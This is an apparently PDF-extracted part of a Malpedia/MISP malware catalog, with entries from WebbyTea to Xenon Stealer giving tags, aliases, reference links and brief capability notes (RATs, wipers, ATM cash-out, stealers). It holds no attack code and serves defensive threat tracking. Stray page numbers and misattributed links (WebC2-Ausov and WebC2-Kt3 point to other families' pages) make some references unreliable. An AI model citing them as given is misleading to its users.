The internal DLL name of the native WebbyTea is usually pe64.dll or webT64.dll (from which its name is derived).

The usual payload associated with WebbyTea is SnatchCrypto.

The tag is: *misp-galaxy:malpedia="WebbyTea"*

WebbyTea is also known as:

Table 4474. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.webbytea">https://malpedia.caad.fkie.fraunhofer.de/details/win.webbytea</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/">https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/">https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/</a></td>
</tr>
</tbody>
</table>

**WebC2-AdSpace**

The tag is: *misp-galaxy:malpedia="WebC2-AdSpace"*

WebC2-AdSpace is also known as:

Table 4475. Table References
WebC2-Ausov

The tag is: `misp-galaxy:malpedia="WebC2-Ausov"`

WebC2-Ausov is also known as:

Table 4476. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_adspace">https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_adspace</a></td>
</tr>
</tbody>
</table>

WebC2-Bolid

The tag is: `misp-galaxy:malpedia="WebC2-Bolid"`

WebC2-Bolid is also known as:

Table 4477. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_bolid">https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_bolid</a></td>
</tr>
</tbody>
</table>

WebC2-Cson

The tag is: `misp-galaxy:malpedia="WebC2-Cson"`

WebC2-Cson is also known as:

Table 4478. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_cson">https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_cson</a></td>
</tr>
</tbody>
</table>

2016
WebC2-DIV

The tag is: `misp-galaxy:malpedia="WebC2-DIV"`

WebC2-DIV is also known as:

Table 4479. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_div">https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_div</a></td>
</tr>
</tbody>
</table>

WebC2-GreenCat

The tag is: `misp-galaxy:malpedia="WebC2-GreenCat"`

WebC2-GreenCat is also known as:

Table 4480. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_greencat">https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_greencat</a></td>
</tr>
</tbody>
</table>

WebC2-Head

The tag is: `misp-galaxy:malpedia="WebC2-Head"`

WebC2-Head is also known as:

Table 4481. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head">https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head</a></td>
</tr>
</tbody>
</table>

WebC2-Kt3

The tag is: `misp-galaxy:malpedia="WebC2-Kt3"`

WebC2-Kt3 is also known as:

Table 4482. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head">https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head</a></td>
</tr>
</tbody>
</table>
WebC2-Qbp

The tag is: misp-galaxy:malpedia="WebC2-Qbp"

WebC2-Qbp is also known as:

Table 4483. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_qbp

WebC2-Rave

The tag is: misp-galaxy:malpedia="WebC2-Rave"

WebC2-Rave is also known as:

Table 4484. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_rave

WebC2-Table

The tag is: misp-galaxy:malpedia="WebC2-Table"

WebC2-Table is also known as:

Table 4485. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_table

WebC2-UGX

The tag is: misp-galaxy:malpedia="WebC2-UGX"
WebC2-UGX is also known as:

Table 4486. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ugx">https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ugx</a></td>
</tr>
</tbody>
</table>

WebC2-Yahoo

The tag is: `misp-galaxy:malpedia="WebC2-Yahoo"`

WebC2-Yahoo is also known as:

Table 4487. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_yahoo">https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_yahoo</a></td>
</tr>
</tbody>
</table>

WebMonitor RAT

On its website, Webmonitor RAT is described as 'a very powerful, user-friendly, easy-to-setup and state-of-the-art monitoring tool. Webmonitor is a fully native RAT, meaning it will run on all Windows versions and languages starting from Windows XP and up, and perfectly compatible with all crypters and protectors.' Unit42 notes in their analysis that it is offered as C2-as-a-service and raises the controversial aspect that the builder allows to create client binaries that will not show any popup or dialogue during installation or while running on a target system.

The tag is: `misp-galaxy:malpedia="WebMonitor RAT"`

WebMonitor RAT is also known as:

- RevCode

Table 4488. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor">https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor</a></td>
</tr>
</tbody>
</table>
WeControl

The tag is: misp-galaxy:malpedia="WeControl"

WeControl is also known as:

Table 4489. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wecontrol">https://malpedia.caad.fkie.fraunhofer.de/details/win.wecontrol</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/westeal/">https://unit42.paloaltonetworks.com/westeal/</a></td>
</tr>
</tbody>
</table>

WellMess

WellMess is a Remote Access Trojan written in GoLang and .NET. It has hard-coded User-Agents. Attackers deploy WellMess using separate tools which also allow lateral movement, for example "gost". Command and Control traffic is handled via HTTP using the Set-Cookie field and message body.

The tag is: misp-galaxy:malpedia="WellMess"

WellMess is also known as:

Table 4490. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wellmess">https://malpedia.caad.fkie.fraunhofer.de/details/win.wellmess</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/541a465f/description">https://community.riskiq.com/article/541a465f/description</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/08/attribution-puzzle.html">https://blog.talosintelligence.com/2020/08/attribution-puzzle.html</a></td>
</tr>
<tr>
<td><a href="https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html">https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-116a">https://us-cert.cisa.gov/ncas/alerts/aa21-116a</a></td>
</tr>
</tbody>
</table>
WeSteal

The tag is: misp-galaxy:malpedia="WeSteal"

WeSteal is also known as:

Table 4491. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.westeal
https://unit42.paloaltonetworks.com/westeal/

WhiskerSpy

The tag is: misp-galaxy:malpedia="WhiskerSpy"

WhiskerSpy is also known as:

Table 4492. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.whiskerspy

WhisperGate

Destructive malware deployed against targets in Ukraine in January 2022.

The tag is: misp-galaxy:malpedia="WhisperGate"

WhisperGate is also known as:

• PAYWIPE

Table 4493. Table References

Links
<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate">https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/who-is-ember-bear">https://www.crowdstrike.com/blog/who-is-ember-bear</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/18101">https://cert.gov.ua/article/18101</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/">https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/russia-ukraine-conflict-cybercrime-underground">https://intel471.com/blog/russia-ukraine-conflict-cybercrime-underground</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/02/10/380-glowspark">https://inquest.net/blog/2022/02/10/380-glowspark</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview">https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat">https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat</a></td>
</tr>
<tr>
<td><a href="https://blog.gigamon.com/2022/01/28/focusing-on-left-of-boom">https://blog.gigamon.com/2022/01/28/focusing-on-left-of-boom</a></td>
</tr>
<tr>
<td><a href="https://www.cadosecurity.com/resources-for-dfir-professionals-responding-to-whispergate-malware/">https://www.cadosecurity.com/resources-for-dfir-professionals-responding-to-whispergate-malware/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Libranalysis/status/1483128221956808704">https://twitter.com/Libranalysis/status/1483128221956808704</a></td>
</tr>
<tr>
<td><a href="https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/">https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=Ek3URIaC508">https://www.youtube.com/watch?v=Ek3URIaC508</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-----</td>
</tr>
<tr>
<td><a href="https://www.netskope.com/blog/netskope-threat-coverage-whispergate">https://www.netskope.com/blog/netskope-threat-coverage-whispergate</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-057a">https://www.cisa.gov/uscert/ncas/alerts/aa22-057a</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/">https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/nunohaien/status/1484088885575622657">https://twitter.com/nunohaien/status/1484088885575622657</a></td>
</tr>
<tr>
<td><a href="https://rxored.github.io/post/analysis/whispergate/whispergate/">https://rxored.github.io/post/analysis/whispergate/whispergate/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware/">https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware/</a></td>
</tr>
<tr>
<td><a href="https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023">https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/HuskyHacksMK/status/1482876242047258628">https://twitter.com/HuskyHacksMK/status/1482876242047258628</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/fr/security-labs/operation-bleeding-bear">https://www.elastic.co/fr/security-labs/operation-bleeding-bear</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation">https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/disruptive-attacks-in-ukraine-likely-linked-to-escalating-tensions">https://www.secureworks.com/blog/disruptive-attacks-in-ukraine-likely-linked-to-escalating-tensions</a></td>
</tr>
<tr>
<td><a href="https://lifars.com/2022/01/a-detailed-analysis-of-whispergate-targeting-ukrainian-organizations/">https://lifars.com/2022/01/a-detailed-analysis-of-whispergate-targeting-ukrainian-organizations/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/">https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine">https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine</a></td>
</tr>
<tr>
<td><a href="https://zetter.substack.com/p/hackers-were-in-ukraine-systems-months">https://zetter.substack.com/p/hackers-were-in-ukraine-systems-months</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html">https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/ruinousursa/">https://unit42.paloaltonetworks.com/atoms/ruinousursa/</a></td>
</tr>
</tbody>
</table>
WhiteBird

According to Dr.Web, WhiteBird is a backdoor written in C++ and designed to operate in both 32-bit and 64-bit Microsoft Windows operating systems. The configuration is encrypted with a single byte XOR key. An interesting feature is that the malware can be restricted to operate only within certain "working_hours" with a granularity of one minute.

The tag is: `misp-galaxy:malpedia="WhiteBird"

WhiteBird is also known as:

Table 4494. Table References
WhiteBlackCrypt

The tag is: *misp-galaxy:malpedia="WhiteBlackCrypt"

WhiteBlackCrypt is also known as:

- WARYLOOK

Table 4495. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.whiteblackcrypt">https://malpedia.caad.fkie.fraunhofer.de/details/win.whiteblackcrypt</a></td>
</tr>
<tr>
<td><a href="https://www.checkmal.com/video/read/3605/">https://www.checkmal.com/video/read/3605/</a></td>
</tr>
<tr>
<td><a href="https://sebdraven.medium.com/whisperkill-vs-whiteblackcrypt-un-petit-soucis-de-fichiers-9c4dcd013316">https://sebdraven.medium.com/whisperkill-vs-whiteblackcrypt-un-petit-soucis-de-fichiers-9c4dcd013316</a></td>
</tr>
</tbody>
</table>

WhiteSnake Stealer

The tag is: *misp-galaxy:malpedia="WhiteSnake Stealer"

WhiteSnake Stealer is also known as:

Table 4496. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.whitesnake">https://malpedia.caad.fkie.fraunhofer.de/details/win.whitesnake</a></td>
</tr>
<tr>
<td><a href="https://bazaar.abuse.ch/sample/5066eca9c7309af16c882ffae79ceee93d5c8a8bcfe3726455c9b5589a492553/">https://bazaar.abuse.ch/sample/5066eca9c7309af16c882ffae79ceee93d5c8a8bcfe3726455c9b5589a492553/</a></td>
</tr>
</tbody>
</table>

WikiLoader

The tag is: *misp-galaxy:malpedia="WikiLoader"

WikiLoader is also known as:

- WailingCrab

Table 4497. Table References
WildFire

The tag is: misp-galaxy:malpedia="WildFire"

WildFire is also known as:

Table 4498. Table References

WinDealer

Information stealer used by threat actor LuoYu.

The tag is: misp-galaxy:malpedia="WinDealer"

WinDealer is also known as:

Table 4499. Table References

winlog

The tag is: misp-galaxy:malpedia="winlog"

2026
winlog is also known as:

Table 4500. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.winlog">https://malpedia.caad.fkie.fraunhofer.de/details/win.winlog</a></td>
</tr>
<tr>
<td><a href="https://github.com/Thibault-69/Keylogger-Windows-----WinLog">https://github.com/Thibault-69/Keylogger-Windows-----WinLog</a></td>
</tr>
</tbody>
</table>

**WinMM**

The tag is: *misp-galaxy:malpedia=*"WinMM"

WinMM is also known as:

Table 4501. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.winmm">https://malpedia.caad.fkie.fraunhofer.de/details/win.winmm</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/analysis/publications/69953/the-naikon-apt/">https://securelist.com/analysis/publications/69953/the-naikon-apt/</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

**Winnti (Windows)**

The tag is: *misp-galaxy:malpedia=*"Winnti (Windows)"

Winnti (Windows) is also known as:

- BleDoor
- JUMPALL
- Pasteboy
- RbDoor

Table 4502. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.winnti">https://malpedia.caad.fkie.fraunhofer.de/details/win.winnti</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=_fstHQSK-kk">https://www.youtube.com/watch?v=_fstHQSK-kk</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/">https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/</a></td>
</tr>
</tbody>
</table>
WinorDLL64

According to ESET Research, this is a payload downloaded by win.wslink. They attribute it with low confidence to Lazarus.

The tag is: `misp-galaxy:malpedia="WinorDLL64"`

WinorDLL64 is also known as:

*Table 4503. Table References*
WinPot

WinPot is created to make ATMs by a popular ATM vendor to automatically dispense all cash from their most valuable cassettes.

The tag is: `misp-galaxy:malpedia="WinPot"`

WinPot is also known as:

- ATMPot

Table 4504. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.winpot">https://malpedia.caad.fkie.fraunhofer.de/details/win.winpot</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/atm-robber-winpot/89611/">https://securelist.com/atm-robber-winpot/89611/</a></td>
</tr>
</tbody>
</table>

WinScreeny

Backdoor used in the EvilPlayout campaign against Iran's State Broadcaster.

The tag is: `misp-galaxy:malpedia="WinScreeny"`

WinScreeny is also known as:

Table 4505. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.winscreeny">https://malpedia.caad.fkie.fraunhofer.de/details/win.winscreeny</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/">https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/</a></td>
</tr>
</tbody>
</table>

Winsloader

The tag is: `misp-galaxy:malpedia="Winsloader"`

Winsloader is also known as:

Table 4506. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.winsloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.winsloader</a></td>
</tr>
</tbody>
</table>

2030
Wipbot

The tag is: `misp-galaxy:malpedia="Wipbot"`

Wipbot is also known as:

- Epic
- Tavdig

Table 4507. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot</a></td>
</tr>
<tr>
<td><a href="https://docs.broadcom.com/doc/waterbug-attack-group">https://docs.broadcom.com/doc/waterbug-attack-group</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/analysis/publications/65545/the-epic-turla-operation/">https://securelist.com/analysis/publications/65545/the-epic-turla-operation/</a></td>
</tr>
</tbody>
</table>

WMI Ghost

The tag is: `misp-galaxy:malpedia="WMI Ghost"`

WMI Ghost is also known as:

- Syndicasec
- Wimmie

Table 4508. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wmighost">https://malpedia.caad.fkie.fraunhofer.de/details/win.wmighost</a></td>
</tr>
<tr>
<td><a href="https://secracy.com/ReversingMalware/WMIGhost/">https://secracy.com/ReversingMalware/WMIGhost/</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets">https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets</a></td>
</tr>
</tbody>
</table>

WndTest

The tag is: `misp-galaxy:malpedia="WndTest"`
WndTest is also known as:

Table 4509. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wndtest">https://malpedia.caad.fkie.fraunhofer.de/details/win.wndtest</a></td>
</tr>
</tbody>
</table>

**Wonknu**

The tag is: *misp-galaxy:malpedia="Wonknu"*

Wonknu is also known as:

Table 4510. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wonknu">https://malpedia.caad.fkie.fraunhofer.de/details/win.wonknu</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/iron-taurus/">https://unit42.paloaltonetworks.com/atoms/iron-taurus/</a></td>
</tr>
</tbody>
</table>

**woody**

The tag is: *misp-galaxy:malpedia="woody"*

woody is also known as:

Table 4511. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.woody">https://malpedia.caad.fkie.fraunhofer.de/details/win.woody</a></td>
</tr>
</tbody>
</table>

**Woody RAT**

The tag is: *misp-galaxy:malpedia="Woody RAT"*

Woody RAT is also known as:

Table 4512. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.woodyrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.woodyrat</a></td>
</tr>
</tbody>
</table>
Woolger

The tag is: misp-galaxy:malpedia="Woolger"

Woolger is also known as:

- WoolenLogger

Table 4513. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger">https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger</a></td>
</tr>
</tbody>
</table>

WorldWind

Information Stealer.

The tag is: misp-galaxy:malpedia="WorldWind"

WorldWind is also known as:

Table 4514. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.worldwind">https://malpedia.caad.fkie.fraunhofer.de/details/win.worldwind</a></td>
</tr>
</tbody>
</table>

WORMHOLE

WORMHOLE is a TCP tunneler that is dynamically configurable from a C&C server and can communicate with an additional remote machine endpoint for a relay.

The tag is: misp-galaxy:malpedia="WORMHOLE"

WORMHOLE is also known as:

Table 4515. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wormhole">https://malpedia.caad.fkie.fraunhofer.de/details/win.wormhole</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-under-the-hood/77908/">https://securelist.com/lazarus-under-the-hood/77908/</a></td>
</tr>
</tbody>
</table>
WormLocker

The tag is: `misp-galaxy:malpedia="WormLocker"`

WormLocker is also known as:

- WormLckr

Table 4516. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wormlocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.wormlocker</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Kangxiaopao/status/1355056807924797440">https://twitter.com/Kangxiaopao/status/1355056807924797440</a></td>
</tr>
</tbody>
</table>

WpBruteBot

The tag is: `misp-galaxy:malpedia="WpBruteBot"`

WpBruteBot is also known as:

Table 4517. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wpbrutebot">https://malpedia.caad.fkie.fraunhofer.de/details/win.wpbrutebot</a></td>
</tr>
</tbody>
</table>

WSCSPL

The tag is: `misp-galaxy:malpedia="WSCSPL"`

WSCSPL is also known as:

Table 4518. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wscspl">https://malpedia.caad.fkie.fraunhofer.de/details/win.wscspl</a></td>
</tr>
</tbody>
</table>
Wslink

The tag is: `misp-galaxy:malpedia="Wslink"`

Wslink is also known as:

- FinickyFrogfish

Table 4519. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink">https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/darienhuss/status/1453342652682981378">https://twitter.com/darienhuss/status/1453342652682981378</a></td>
</tr>
</tbody>
</table>

x4

The tag is: `misp-galaxy:malpedia="x4"`

x4 is also known as:

Table 4520. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.x4">https://malpedia.caad.fkie.fraunhofer.de/details/win.x4</a></td>
</tr>
</tbody>
</table>

X-Agent (Windows)

The tag is: `misp-galaxy:malpedia="X-Agent (Windows)"`

X-Agent (Windows) is also known as:

- chopstick
- splm

Table 4521. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
XBot POS

The tag is: *misp-galaxy:malpedia="XBot POS"

XBot POS is also known as:

*Table 4522. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xbot_pos">https://malpedia.caad.fkie.fraunhofer.de/details/win.xbot_pos</a></td>
</tr>
</tbody>
</table>

XBTL

The tag is: *misp-galaxy:malpedia="XBTL"

XBTL is also known as:

*Table 4523. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xbtl">https://malpedia.caad.fkie.fraunhofer.de/details/win.xbtl</a></td>
</tr>
</tbody>
</table>
**xCaon**

Checkpoint Research found this backdoor, attributed to IndigoZebra, used to target Afghan and other Central-Asia countries, including Kyrgyzstan and Uzbekistan, since at least 2014.

The tag is: *misp-galaxy:malpedia=*xCaon*

xCaon is also known as:

Table 4524. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xcaon">https://malpedia.caad.fkie.fraunhofer.de/details/win.xcaon</a></td>
<td></td>
</tr>
</tbody>
</table>

**XData**

The tag is: *misp-galaxy:malpedia=*XData*

XData is also known as:

- AESNI

Table 4525. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xdata">https://malpedia.caad.fkie.fraunhofer.de/details/win.xdata</a></td>
<td></td>
</tr>
</tbody>
</table>

**XDSpy**

According to ESET Research, XDDown is a primary malware component and is strictly a downloader. It persists on the system using the traditional Run key. It downloads additional plugins from the hardcoded C&C server using the HTTP protocol. The HTTP replies contain PE binaries encrypted with a hardcoded two-byte XOR key. Plugins include a module for reconnaissance on the affected system, crawling drives, file exfiltration, SSID gathering, and grabbing saved passwords.

The tag is: *misp-galaxy:malpedia=*XDSpy*

XDSpy is also known as:

Table 4526. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xdspy">https://malpedia.caad.fkie.fraunhofer.de/details/win.xdspy</a></td>
<td></td>
</tr>
</tbody>
</table>
XenArmor

XenArmor is a suite of password recovery tools for various applications that have been observed to be abused in attacks alongside malware.

The tag is: misp-galaxy:malpedia="XenArmor"

XenArmor is also known as:

- XenArmor Suite

Table 4527. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xenarmor">https://malpedia.caad.fkie.fraunhofer.de/details/win.xenarmor</a></td>
</tr>
<tr>
<td><a href="https://xenarmor.com/">https://xenarmor.com/</a></td>
</tr>
</tbody>
</table>

Xenon Stealer

The tag is: misp-galaxy:malpedia="Xenon Stealer"

Xenon Stealer is also known as:

Table 4528. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
